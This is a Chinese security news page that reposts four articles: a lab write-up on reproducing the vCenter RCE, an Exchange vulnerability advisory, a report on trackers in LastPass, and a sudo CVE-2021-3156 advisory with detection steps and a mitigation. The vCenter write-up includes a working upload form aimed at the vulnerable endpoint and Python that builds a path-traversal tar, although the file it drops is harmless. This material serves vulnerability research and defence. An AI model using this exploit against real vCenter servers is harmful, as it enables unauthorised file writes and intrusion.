微慑信息网

业界快讯 第7页

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

微慑管理员阅读(2297)

本文作者  图南&Veraxy @ QAX CERT

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

好久不见,已经很久没有写文章了,但我还有一颗想写文章的心。漏洞的复现总是冲着最终的目标去不断尝试,但是其中肯定会遇到很多疑问。每次遇到疑问都会挖一些坑留着通过学习慢慢填,但因为工作性质变更的原因,很多坑留着也就留着了,填的很少。最近逼着自己去填一点坑,至少作为笔记积累一些知识,然后有机会写出来讲明白它(讲真我一直觉得讲明白一件事儿比自己明白更难且更耗时间)虽然刚刚填了一个,也算是良好的开始吧,至少让大家知道我还没有丢掉安全研究。那么就从vCenter RCE 漏洞开始吧。

对了,文章不包含深入的漏洞分析,因为漏洞分析部分漏洞的发现者已经写的相当详细了,看Unauthorized RCE in VMware vCenter[https://swarm.ptsecurity.com/unauth-rce-vmware/]这篇文章即可。

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

 

声明:本篇文章由 图南&Veraxy @ QAX CERT原创,仅用于技术研究,不恰当使用会造成危害,严禁违法使用 ,否则后果自负。

QAX CERT
文章导航

避开所有坑快速复现这个漏洞

可浏览 0x01 漏洞环境搭建——>按照以下方式搭建一定能成功0x02 漏洞PoC构造——> 按照以下方式构造一定能成功

 

通过问题引导方式浏览

如果你也遇到了类似问题看这里

搭建环境总是失败

浏览 0x01 漏洞环境搭建——>坑1:此方法不要使用7.0.x的iso镜像,会有一个无解的BUG!

坑2:虚拟机网络适配器选择NAT模式无法保存主机名

手动修改上传数据包导致失败和使用macOS的tar打包会出问题

浏览 0x02 漏洞PoC构造——>坑2:为什么不能直接修改数据包?

为什么会有zip的PoC,原因是什么?(这个没空研究了,大佬们继续~)

 

文章参考

  1. https://en.wikipedia.org/wiki/Tar_(computing)

  2. https://swarm.ptsecurity.com/unauth-rce-vmware/

  3. https://www.gnu.org/software/tar/manual/html_node/Standard.html

  4. https://www.freebsd.org/cgi/man.cgi?query=tar&apropos=0&sektion=5&manpath=FreeBSD+7.0-RELEASE&arch=default&format=html

漏洞环境搭建

遇到一个漏洞,我总会想这个应用/软件/产品在生产环境中跑起来是什么样子的,小一点的还好说,我能想象到一些使用场景,但是大一点的和我接触不深的领域就比较苦恼了。vCenter默认和ESXi搭配使用,这里强烈建议大家有条件去搭建ESXi和vCenter配合使用。可参考:【Vmware学习教程五】VMware vCenter 6.7安装及群集配置介绍(一)[https://www.miensi.com/352.html] 但是这两个都是大家伙,消耗内存非常大,我没有继续研究这两个大家伙配合的情况(qiong,高配电脑太贵了),下面介绍一种相对快速的搭建方式。

按照以下方式搭建一定能成功

第一阶段安装

从VMware官网[https://my.vmware.com/group/vmware/patch#search]下载VMware-VCSA-all-6.7.0-17028579.iso,一定先下载这个版本不要下载7.0,为啥不能下7.0后面会讲到。

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

然后挂载ISO文件后会看到有个ova文件:VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

我们要用将它导入到VMware虚拟机安装,我这里用的VMware Fusion Player 12.0.0:

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

部署选项选择Tiny即可:

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识然后按照引导安装,网络配置参考宿主机,设置成相同的网段、相同的网关和DNS,以便后续顺利访问。 假如宿主机IP为192.168.18.2,网关和DNS均为192.168.18.1,子网掩码为255.255.255.0,那么我们就设置如下:

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

然后配置SSO用户密码、root用户和密码,即可完成安装。 这里有个小坑:root用户名和密码不要很复杂,我这里用的root/root。之前设置了有大小写和特殊字符的密码死活登录不上,我以为我自己把密码忘记了,但是重装依然不行,暂不明原因,这个不深究了。

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

然后再继续即可导入成功,虚拟机会自动启动进行初始化。

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

此时查看下虚拟机网络适配器模式应为桥接模式,不用更改。初始化OK了如下图:

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

此时域名为 photon-machine,我们没有对应的DNS,所以手动修改域名为刚才设置的IP(192.168.18.5)。按“F2”手动修改域名,“enter”进入网络配置:

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

进入DNS配置将主机名从默认的photon-machine修改为IP地址(192.168.18.5):

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

然后重启网络,等一会儿:

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

回到了刚刚的页面,这时之前的域名已经变成了IP:

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

至此第一阶段安装已经完成了,这个过程顺利的话5分钟搞定,主要时间花费在第一次启动虚拟机初始化的过程。

第二阶段安装

访问https://192.168.18.5:5480/继续配置:VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

选择设置后用root账号登陆:

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

照向导继续配置,注意在网络配置阶段把系统名称修改为IP:

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

这里又有一个小坑,系统名称这里应该会检查是否能真正访问到这个地址,所以我们使用桥接模式,前面修改主机名为IP地址的操作都是为了这一步能顺利,否则这里很容易出现“无法保存主机名”的错误。 然后设置SSO密码,一路下一步,就基本不会再遇到什么坑了。 第二阶段开始安装的时候基本就是纯等待,会比较慢,去喝口水、冲杯咖啡、泡个茶、吃个饭、睡一觉吧…… VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

第二阶段安装完成会打开443端口,就可以正常访问vCenter也可以正常调漏洞了。

坑1:此方法不要使用7.0.x的iso镜像,会有一个无解的BUG!

在刚开始复现漏洞的时候,我很自然的选择了修复版本的前一个受影响版本:7.0.1,但是第二阶段安装无论使用什么域名和什么IP地址作为系统名称,都会出现无法保存IP设置的错误 VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

抱着有问题一定是我的问题的想法重装、改配置、再重装、再改配置、再重装、再改配置。。。都无法解决这个问题。最后我去谷歌搜到了这样的结果: VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

翻译下来就是在浏览器中通过5480端口进行网络配置会报错无法保存IP设置,(正常安装应该不会有类似问题)解决方案:无…… 快速搭环境的话绕开7.0.x吧。

坑2:虚拟机网络适配器选择NAT模式无法保存主机名

这个坑应该是我配置的问题吧,可能不算普遍但是已经有两个人遇到了相同问题了,表现为无论如何改主机名都提示无法保存主机名,也尝试过改其他网络配置、DNS等,没有解决,遂使用桥接模式绕开。 VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

漏洞PoC构造

按照以下方式构造一定能成功

使用HTML构造文件上传页面

漏洞刚传出来还没有什么细节的时候,我就从一些截图中注意到了Content-Type: multipart/form-data,不同于传统的Form表单application/x-www-form-urlencodedmultipart/form-data更适合发送大量二进制数据(文件)或非ASCII数据。关于这两种Content-Type的详细信息,可阅读W3C的相关文档Forms。根据漏洞触发点的代码可以得知,需要构造一个使用multipart/form-data的文件上传,并且上传控件的name应为uploadFileVMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

所以可以直接构造一个上传控件直接上传文件到漏洞点:

<html>  <body>    <form id="upload-form" action="https://192.168.18.5/ui/vropspluginui/rest/services/uploadova" method="post" enctype="multipart/form-data" >         <input type="file" id="upload" name="uploadFile" /> <br />         <input type="submit" value="Upload" />    </form>  </body></html>

使用代码构造tar文件

继续看漏洞触发点代码,可以看出真正导致解压文件到任意路径的entry.getName()目的是迭代每一个压缩实体时获取文件名,可能这样说并不清楚,举个例子,文件a.txt和文件b.txt被压缩到了文件c.tar,在解压时会分别获取c.tar中的a.txt文件名和b.txt文件名,拼接到了/tmp/unicorn_ova_dir中。那么若将a.txt换成../a.txt就将a.txt这个文件释放到了/tmp目录下。

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

但是实际上你很难创建一个名为../a.txt的文件并将其压缩成tar,所以可以通过以下代码去创建一个压缩包并释放到我们想释放的地方:

import tarfileimport osfrom io import BytesIO
with tarfile.open("test.tar", 'w') as tar:    payload = BytesIO()    data = 'hacked_by_tunan'    tarinfo = tarfile.TarInfo(name='../../home/vsphere-ui/hacked_by_tunan')    f1 = BytesIO(data.encode())    tarinfo.size = len(f1.read())    f1.seek(0)    tar.addfile(tarinfo, fileobj=f1)    tar.close()    payload.seek(0)

这里面有两个坑,小坑1:我们不能直接将文件释放到根目录下,因为这个接口只有vsphere-ui用户的权限,我们只能释放到vsphere-ui用户能写入文件的地方。大坑2:我们不能通过BurpSuite等工具直接改数据包,这个坑我要详细讲一讲。

坑2:为什么不能直接修改数据包?

假如我们自己使用Linux打包tar,然后上传抓包,可以看到这样的数据包:

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

明白了漏洞原理,很容易就会想到直接将最开始的文件名改成../的形式去释放到对应的目录,但是最终会返回FAILED:

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

我相信复现漏洞卡在这里的肯定不在少数,为什么会这样呢?这里需要深入研究一下tar文件了。

tar文件构成

我们不妨使用任意HAX编辑器打开我们的tar压缩文件看一看:

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

看起来挺乱的?不慌,按照FreeBSD的文档和源码对比分解一下即可,并不难。

众所周知,tar文件可以将一个或多个文件或目录打包成一个单独的文件,作为一个通用的文件格式,需要保证任何系统和软件都能正确的解释文件tar文件的每个字节的定义必须明确。

tar文件是由一系列文件对象组成,每个文件对象包含一个512字节的头实际文件数据。本着如无必要,勿增实体的原则,我们本文只讨论上面poc.tar单个文件的头部分。

头部分分别包含以下内容:

名称 释义 占用字节 字段含义
name 文件名/路径名 100 以空值结尾的字符串,可以是文件名也可以是路径名
mode 文件模式 8 八进制数字表示的文件格式,一般为三种不同用户类型和三种不同权限的组合,常见的有644、777等
uid 用户ID 8 八进制表示的文件所有者用户ID
gid 群组ID 8 八进制表示的文件所有者群组ID
size 文件大小 12 八进制表示的文件大小
mtime 文件修改时间 12 从1970年1月1日到文件修改时间的秒数,八进制表示
checksum (划重点) 头的校验和 8 为六个ASCII八进制数字后面跟一个空(0x00)和一个空格(0x20)若计算头的校验和,需要先将512字节头中的校验和字段的每个字节全部设置为空格(0x20),然后再将所有头部字节全部相加,输出为无符号整型,转换成八进制填充到前6字节中
typeflag 存档文件类型 1 类型指示作用,早期版本为linkflag,0为常规文件,1为硬链接,2为符号连接、3为字符特殊文件等
linkname 链接名 100 链接文件名,常规文件为空0x00
magic 魔术头 6 固定为ustar跟一个空格0x20(版本不同会有所不同)
version 版本 2 固定为空格0x20后面跟一个空0x00(版本不同会有所不同)
uname 用户名 32 以空值结尾的字符串,用来表示用户名
gname 群组名 32 以空值结尾的字符串,用来表示群组名
devmajor 设备主编号 8 字符设备或块设备输入的主要编号
devminor 设备次编号 8 字符设备或块设备输入的次要编号
prefix 前缀 155 路径名前缀,如果第一部分name中的路径名过长,大于100字节,可以将其以任意/字符拆分,放置于此处。解析器应将其拼接获取完整路径名
pad 填充 12 为了凑完整的512字节,填充12个字节的0x00

那么我们可以把上面的文件分解如下:

字段 值(ASCII表示)
name 0x2E 0x2F 0x31 0x2E 0x74 0x78 0x74 0x00…… ./1.txt
mode 0x30 0x30 0x30 0x30 0x36 0x34 0x34 0x00 0000644
uid 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x00 00000000
gid 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x00 00000000
size 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x32 0x30 0x00 00000000020
mtime 0x31 0x34 0x30 0x32 0x31 0x31 0x32 0x34 0x32 0x31 0x30 0x00 14021124210
checksum 0x30 0x31 0x30 0x35 0x36 0x35 0x00 0x20 010565
typeflag 0x30 0
linkname 0x00 0x00…… ——
magic 0x75 0x73 0x74 0x61 0x72 0x20 ustar
version 0x20 0x00
uname 0x72 0x6F 0x6F 0x74 0x00 0x00…… root
gname 0x72 0x6F 0x6F 0x74 0x00 0x00…… root
devmajor 0x00 0x00…… ——
devminor 0x00 0x00…… ——
prefix 0x00 0x00…… ——
pad 0x00 0x00…… ——
filecontent 0x68 0x61 0x63 0x6B 0x65 0x64 0x5F 0x62 0x79 0x5F 0x74 0x75 0x6E 0x61 0x6E 0x00 0x00…… hacked_by_tunan

再次看一下刚才那个文件在HAX编辑器下的截图是不是瞬间就不那么懵了?

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

那么详细说一下刚才划重点的checksum,这个位置是整个头部的校验和,想计算它的值,需要先把这checksum这八位填充为空格(0x20)然后再把整个头部字节相加成无符号整型,然后再换算成八进制,填充到checksum字段的前六位,第七位和第八位分别填充空(0x00)和空格(0x20),即组成了完整的文件头部。

所以我读tar的各种实现的时候可以看到这样的代码:

def calc_chksums(buf):    """Calculate the checksum for a member's header by summing up all       characters except for the chksum field which is treated as if       it was filled with spaces. According to the GNU tar sources,       some tars (Sun and NeXT) calculate chksum with signed char,       which will be different if there are chars in the buffer with       the high bit set. So we calculate two checksums, unsigned and       signed.    """    unsigned_chksum = 256 + sum(struct.unpack_from("148B8x356B", buf))    signed_chksum = 256 + sum(struct.unpack_from("148b8x356b", buf))    return unsigned_chksum, signed_chksum
# …… #
buf = struct.pack("%ds" % BLOCKSIZE, b"".join(parts))        chksum = calc_chksums(buf[-BLOCKSIZE:])[0]        buf = buf[:-364] + bytes("%06o" % chksum, "ascii") + buf[-357:]# …… #

还有这样的代码:

unsigned int calculate_checksum(struct tar_t * entry){    // use spaces for the checksum bytes while calculating the checksum    memset(entry -> check, ' ', 8);
    // sum of entire metadata    unsigned int check = 0;    for(int i = 0; i < 512; i++){        check += (unsigned char) entry -> block[i];    }
    snprintf(entry -> check, sizeof(entry -> check), "%06o0", check);
    entry -> check[6] = '';    entry -> check[7] = ' ';    return check;}

还有我手写的计算已生成文件头部校验和的代码

const fs = require('fs');
fs.readFile('test.tar', function (err, data) {  if (err) throw err;  const headers = data.slice(0, 512);  const body = data.slice(512);  let sum = 8 * 0x20  for (let i = 0; i < 148; i++)    sum += headers[i]  for (let i = 156; i < 512; i++)    sum += headers[i]  console.log(sum.toString(8));})

那么刚才的数据包是真的不能手动改么?非也!同时修改文件名部分和校验和即可。以下是数学题:

假如我们将./1.txt修改为../1.txt使其进入/tmp目录下,已知.十六进制表示为0x2E,原校验和为 八进制10565。原始数据包name字段去掉一位空字节(0x00)补上.(0x2E),然后重新计算校验和。换算 八进制 原校验和10565十六进制0x1175十六进制0x2E0x11A3,再换算成 八进制10643……很快啊,新的校验和出来了!

大胆修改数据包吧!

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

那么关于在macOS上使用自带tar软件打包后修改包失败问题,也是校验和错误的问题。他们都遵守了相同的规范,自行调试下即可。

总结&尾巴

这个漏洞从原理到复现都不算难,所以文章本身没有什么创新的,更像是我的一点研究笔记并想办法将我研究的内容讲出来讲明白,或者能帮助大家解答一些之前复现时候的疑问让大家看了能恍然大明白也算这篇文章的一点贡献。通过这篇文章,我也想传递一种观点,漏洞研究其实不应该只盯着漏洞本身,漏洞可以扩展的知识点太多了:

偏应用一点:了解这个软件/组件/中间件是干什么的的、尝试搭建起来写点代码看看他们跑起来的样子。

偏底层一点:研究漏洞接触到的相关知识点,可能是Linux/Windows相关的,文件相关的,甚至是某个协议规范、某个算法的实现、某个数据结构、某种设计思想。

偏攻击一点:漏洞如何EXP化、如何回显搞定不出网的环境、如何让内网设备无感知攻击的存在、如何加载内存马等。

偏漏洞挖掘:去找一下类似的利用点,或者这个新的软件/组件/中间件是否能带给你一些新的漏洞挖掘思路。 …… 总之太多知识和事情可以从一个漏洞扩展出来,学海无涯,技术无边,学无止境,你我共勉。

 

⬇️⬇️或者……不考虑加入我们吗?⬇️⬇️

VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

奇安信CERT长期招募安全研究员

↓↓↓向下滑动图片了解更多↓↓↓

原文始发于微信公众号(奇安信 CERT):VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识

无需验证和交互,微软Exchange严重组合漏洞安全风险通告

微慑管理员阅读(1973)

近日,奇安信CERT监测到微软修复了Microsoft Exchange多个高危漏洞。通过组合利用这些漏洞能够在未经身份验证的情况下远程获取目标服务器权限。其中包括CVE-2021-26855: 服务端请求伪造漏洞、CVE-2021-26857不安全的反序列化漏洞。CVE-2021-26858/CVE-2021-27065任意文件写入漏洞,在通过身份验证后攻击者可以利用该漏洞将文件写入服务器的任意路径。


据报道,目前已经出现利用这些漏洞进行的定向攻击事件。奇安信安全专家测试确认,组合使用漏洞无需验证和交互即可触发远程代码执行,危害极大,建议客户尽快修复漏洞并自查服务器的安全状况。


当前漏洞状态


细节是否公开 PoC状态
EXP状态 在野利用
是(部分) 未知 未知 已发现


漏洞描述


近日,奇安信CERT监测到微软修复了Microsoft Exchange多个高危漏洞。通过组合利用这些漏洞能够在未经身份验证的情况下远程获取目标服务器权限。其中包括:


CVE-2021-26855:服务端请求伪造(SSRF)漏洞,通过该漏洞,攻击者可以发送任意HTTP请求并通过Exchange Server进行身份验证,获取权限。


CVE-2021-26857:是统一消息服务中的不安全反序列化漏洞。通过该此漏洞,具有管理员权限的攻击者可以在Exchange服务器上以SYSTEM身份运行任意代码。


CVE-2021-26858/CVE-2021-27065:任意文件写入漏洞,在通过身份验证后攻击者可以利用该漏洞将文件写入服务器的任意路径。


目前微软称已经监测到了利用该漏洞进行攻击的事件,经过奇安信安全专家确认,漏洞无需验证和交互即可触发远程代码执行,危害极大,建议客户尽快自查修复。


风险等级


奇安信 CERT风险评级为:高危


风险等级:蓝色(一般事件)


影响范围


CVE-2021-27078/CVE-2021-26855/CVE-2021-26857:


Microsoft Exchange Server 2019 Cumulative Update 8


Microsoft Exchange Server 2019 Cumulative Update 7


Microsoft Exchange Server 2016 Cumulative Update 19


Microsoft Exchange Server 2016 Cumulative Update 18


Microsoft Exchange Server 2013 Cumulative Update 23


CVE-2021-26857:


Microsoft Exchange Server 2019 Cumulative Update 8


Microsoft Exchange Server 2019 Cumulative Update 7


Microsoft Exchange Server 2016 Cumulative Update 19


Microsoft Exchange Server 2016 Cumulative Update 18


Microsoft Exchange Server 2013 Cumulative Update 23


Microsoft Exchange Server 2010 Service Pack 3


处置建议


使用奇安信天擎的客户可以通过奇安信天擎控制台一键更新修补相关漏洞,也可以通过奇安信天擎客户端一键更新修补相关漏洞。


也可以采用以下官方解决方案及缓解方案来防护此漏洞:


Windows自动更新


Windows系统默认启用 Microsoft Update,当检测到可用更新时,将会自动下载更新并在下一次启动时安装。还可通过以下步骤快速安装更新:


1、点击“开始菜单”或按Windows快捷键,点击进入“设置”


2、选择“更新和安全”,进入“Windows更新”(Windows 8、Windows 8.1、Windows Server 2012以及Windows Server 2012 R2可通过控制面板进入“Windows更新”,步骤为“控制面板”-> “系统和安全”->“Windows更新”)


3、选择“检查更新”,等待系统将自动检查并下载可用更新


4、重启计算机,安装更新


系统重新启动后,可通过进入“Windows更新”->“查看更新历史记录”查看是否成功安装了更新。对于没有成功安装的更新,可以点击该更新名称进入微软官方更新描述链接,点击最新的SSU名称并在新链接中点击“Microsoft 更新目录”,然后在新链接中选择适用于目标系统的补丁进行下载并安装。


手动安装补丁


另外,对于不能自动更新的系统版本(如Windows 7、Windows Server 2008、Windows Server 2008 R2),可参考以下链接下载适用于该系统的补丁并安装:


https://msrc.microsoft.com/update-guide/


参考资料


[1]https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855

[2]https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857

[3]https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858

[4]https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065


时间线


2021年3月3日,奇安信 CERT发布安全风险通告




文章来源: 奇安信 CERT


点击下方卡片关注我们,
带你一起读懂网络安全 ↓

原文始发于微信公众号(互联网安全内参):无需验证和交互,微软Exchange严重组合漏洞安全风险通告

知名安全软件翻车?免费功能变收费后,又被曝疑似收集用户数据传给广告公司

微慑管理员阅读(1582)

互联网时代,密码的安全问题愈发受到重视。

出于安全考虑,在多个网络服务中使用相同的密码是很不明智的做法。

这样一来,往往要管理的密码数量会超出我们能记住密码的能力,而安全的复杂密码尤其难以记住。

于是,密码管理工具对于大多数用户来说都是必不可少的。

知名安全软件翻车?免费功能变收费后,又被曝疑似收集用户数据传给广告公司

如今,密码管理软件市场的竞争日益激烈。

括苹果和微软,也都先后加入开发此类工具的行列,以方便用户的跨平台使用。

但对于大部分用户来说,首选的还是那些著名的老牌密码管理器。

其中,LastPass就是Chrome应用商店里用户数最多,综合评价最好的全平台密码管理器。

公开资料显示,其已经拥有2000多万个人用户及7万余家企业用户。

知名安全软件翻车?免费功能变收费后,又被曝疑似收集用户数据传给广告公司

一方面,LastPass使用方便,用户只需记住一个主密码,就能保存其他平台的密码并自动输入。

另一方面,LastPass支持iOS、Android、Windows、MacOS等跨平台无缝同步。

同时,LastPass一直以来也都以安全、加密级别高而知名。

据称,该软件LastPass内部也无法获取用户的帐号密码信息,用户的数据都只对自己开放。

然而近期,这款多年来都保持着良好口碑的密码管理工具,也疑似大翻车了。

近日,名为Kuketz和Exodus的两个安全研究团队分析发现,LastPass中内置了7种不同的追踪器,可能是用来收集并发送用户个人数据的。

研究人员称,即使LastPass允许用户选择自行关闭这些追踪器,但其依然可能会给用户带来安全风险。

知名安全软件翻车?免费功能变收费后,又被曝疑似收集用户数据传给广告公司

报告中显示,这7种追踪器中,有4个是来自谷歌的追踪器。

包括Google Analytics、Google CrashLytics等。

这4个追踪器尚且正常,主要是用来收集客户端软件的使用情况,以及处理崩溃日志和分析报告等,广泛用于市面上的软件和网络服务中。

知名安全软件翻车?免费功能变收费后,又被曝疑似收集用户数据传给广告公司

但是,其他3个追踪器就大有文章了。

根据分析报告,这3个追踪器会分别向AppsFlyer,MixPanel和Segment提供信息。

其中,AppsFlyer是一个旨在帮助营销人员做出决策的数据分析平台,涵盖的业务包括广告合作伙伴对接、广告优化等。

知名安全软件翻车?免费功能变收费后,又被曝疑似收集用户数据传给广告公司

MixPanel也与前者类似,是一家数据跟踪和分析公司,允许开发者跟踪各种用户行为。

而报告中最令人关注的,就是最后一个来自于Segment的追踪器了。

资料显示,Segment是一家据称专门为营销团队收集数据的公司。

它会对收集来的用户数据进行分析,为客户提供量身定制的营销广告。

知名安全软件翻车?免费功能变收费后,又被曝疑似收集用户数据传给广告公司

此外,报告还揭示了LastPass在手机客户端需要用户开启的权限。

包括但不限于手机设备品牌型号、生物识别开关状态、精确地理位置、读取SD卡中的内容、录制音频等等。

Kuketz称,对于处理极其敏感的数据(密码)的软件来说,LastPass本身并没有广告模块,所以内置这些追踪器完全是没有道理的。

知名安全软件翻车?免费功能变收费后,又被曝疑似收集用户数据传给广告公司

当然,也不排除可能连LastPass的开发人员也不知道这些追踪器在给第三方营销公司传输数据。

无论是出于哪种原因,Kuketz都表示,当前的LastPass不仅可能违反了GDPR,而且其在密码保护的安全性方面也极为可疑。

因为早在几年前,便陆续有安全人员发现LastPass中的漏洞,并差点导致数据泄露。

知名安全软件翻车?免费功能变收费后,又被曝疑似收集用户数据传给广告公司

该报告一经传出,就在网上迅速引起争议。

许多LastPass用户称,自己在使用这款工具的时候,并没有收到相关授权提示——询问用户是否同意向第三方传输数据。

因此,他们认为自己受到了欺骗。

知名安全软件翻车?免费功能变收费后,又被曝疑似收集用户数据传给广告公司

很快,LastPass的发言人也作出了回应。

其表示,内置的所有跟踪器都是用于改善用户体验的,并承诺不会发送敏感的用户信息。如果用户不想在手机上使用这些跟踪器,可以转到应用程序的“隐私”子菜单来禁用它们。

但这一说法并没有被太多人买单,因为另外一些知名的密码管理工具中并没有这些追踪器。

知名安全软件翻车?免费功能变收费后,又被曝疑似收集用户数据传给广告公司

对密码管理器产品来说,使用如此多的追踪器确实是令人难以理解的。

何况,这些追踪器本身也可能遭到攻击而导致用户信息泄露。

值得一提的是,从本月起,LastPass还开始限制其免费的跨平台同步服务。

此前,用户可免费使用LastPass的多平台同步密码的功能。

知名安全软件翻车?免费功能变收费后,又被曝疑似收集用户数据传给广告公司

政策调整之后,现在的免费用户就只有在电脑端或移动端进行选择了。

若免费用户想要继续使用LastPass的跨平台服务的话,则需要支付会员费。

因此,如今已有大量用户放弃了这款密码管理器。

不过仍需要注意,Bitwarden、RoboForm和Dashlane等密码管理器此前也被曝光过含有多款追踪器。

当然,并非所有带追踪器的密码管理工具都无法使用。理论上说,只要追踪器没有发送用户隐私信息,就是没问题的。

 


本文为公众号【扩展迷Extfans】原创

关注我们,阅读更多精彩内容

▽▽▽

原文始发于微信公众号(扩展迷EXTFANS):知名安全软件翻车?免费功能变收费后,又被曝疑似收集用户数据传给广告公司

Linux sudo权限提升漏洞(CVE-2021-3156)[附检测及修复方法]

微慑管理员阅读(3151)

通告编号:NS-2021-0005

2021-01-27
TAG: Sudo、权限提升、CVE-2021-3156
漏洞等级: 攻击者利用此类漏洞,可实现本地权限提升。
版本: 1.0
1

漏洞概述

1月26日,Sudo发布安全通告,修复了一个类Unix操作系统在命令参数中转义反斜杠时存在基于堆的缓冲区溢出漏洞。当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或 -i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。目前漏洞细节已公开,请受影响的用户尽快采取措施进行防护。

参考链接:

https://www.sudo.ws/alerts/unescape_overflow.html

https://access.redhat.com/security/vulnerabilities/RHSB-2021-002

SEE MORE →

 

2影响范围

受影响版本

  • Sudo 1.8.2 – 1.8.31p2

  • Sudo 1.9.0 – 1.9.5p1

不受影响版本

  • sudo =>1.9.5p2

3漏洞检测

3.1  人工检测

用户可以使用非root的账户登录系统,运行“ sudoedit -s / ”命令,

【漏洞通告】Linux sudo权限提升漏洞(CVE-2021-3156)

若返回如图以“ sudoedit:”开头的错误,则当前系统可能存在安全风险。

不受影响的系统将显示以“ usage:”开头的错误响应。

 

4漏洞防护

4.1  官方升级

目前官方已在sudo新版本1.9.5p2中修复了该漏洞,请受影响的用户尽快升级版本进行防护,官方下载链接:https://www.sudo.ws/download.html

注:建议用户在升级前做好数据备份工作,避免出现意外

4.2 临时防护措施

Red Hat相关用户若暂时无法进行升级操作,可使用systemtap进行以下临时缓解:

1. 安装所需的systemtap软件包和依赖项:

systemtap yum-utils kernel-devel-“$(uname -r)”

RHEL 7:使用命令安装 kernel debuginfo:debuginfo-install -y kernel-“$(uname -r)”。

RHEL 8:使用命令安装 sudo debuginfo:debuginfo-install sudo。

2. 创建以下systemtap脚本(将文件命名为sudoedit-block.stap):

probe   process(“/usr/bin/sudo”).function(“main”) {

        command =   cmdline_args(0,0,””);

        if (strpos(command,   “edit”) >= 0) {

                raise(9);

        }

}

3. 使用以下命令安装脚本:(使用root权限)

# nohup stap -g sudoedit-block.stap &

该脚本将使得易受攻击的sudoedit二进制文件停止工作。sudo命令仍将照常执行。

注:上述更改在重启后失效,必须在每次重启后重新应用。

4. 一旦安装了补丁程序,就可以通过取消systemtap进程来删除systemtap脚本。例如,通过使用以下命令(其中7590是systemtap进程的PID):

# kill -s SIGTERM 7590

END

作者:绿盟科技威胁对抗能力部

【漏洞通告】Linux sudo权限提升漏洞(CVE-2021-3156)         
【漏洞通告】Linux sudo权限提升漏洞(CVE-2021-3156)        
声明

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。

绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。

 

原文始发于微信公众号(绿盟科技安全情报):【漏洞通告】Linux sudo权限提升漏洞(CVE-2021-3156)

